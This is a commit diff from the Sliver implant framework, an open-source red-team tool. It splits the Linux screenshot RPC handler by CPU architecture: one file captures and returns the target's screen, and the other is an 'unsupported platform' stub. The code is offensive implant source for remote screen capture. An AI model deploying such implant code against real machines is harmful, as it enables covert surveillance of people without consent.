Fix build constraints for linux/mips

implant/sliver/handlers/rpc-handlers-cgo_linux.go

@@ -0,0 +1,50 @@
+//go:build 386 || amd64
+
+package handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/screen"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func screenshotHandler(data []byte, resp RPCResponse) {
+	sc := &sliverpb.ScreenshotReq{}
+	err := proto.Unmarshal(data, sc)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+	// {{if .Config.Debug}}
+	log.Printf("Screenshot Request")
+	// {{end}}
+	scRes := &sliverpb.Screenshot{}
+	scRes.Data = screen.Screenshot()
+	data, err = proto.Marshal(scRes)
+
+	resp(data, err)
+}

implant/sliver/handlers/rpc-handlers-generic_linux.go

@@ -0,0 +1,29 @@
+//go:build !386 && !amd64
+
+package handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+)
+
+func screenshotHandler(data []byte, resp RPCResponse) {
+	resp([]byte{}, errors.New("unsupported platform"))
+}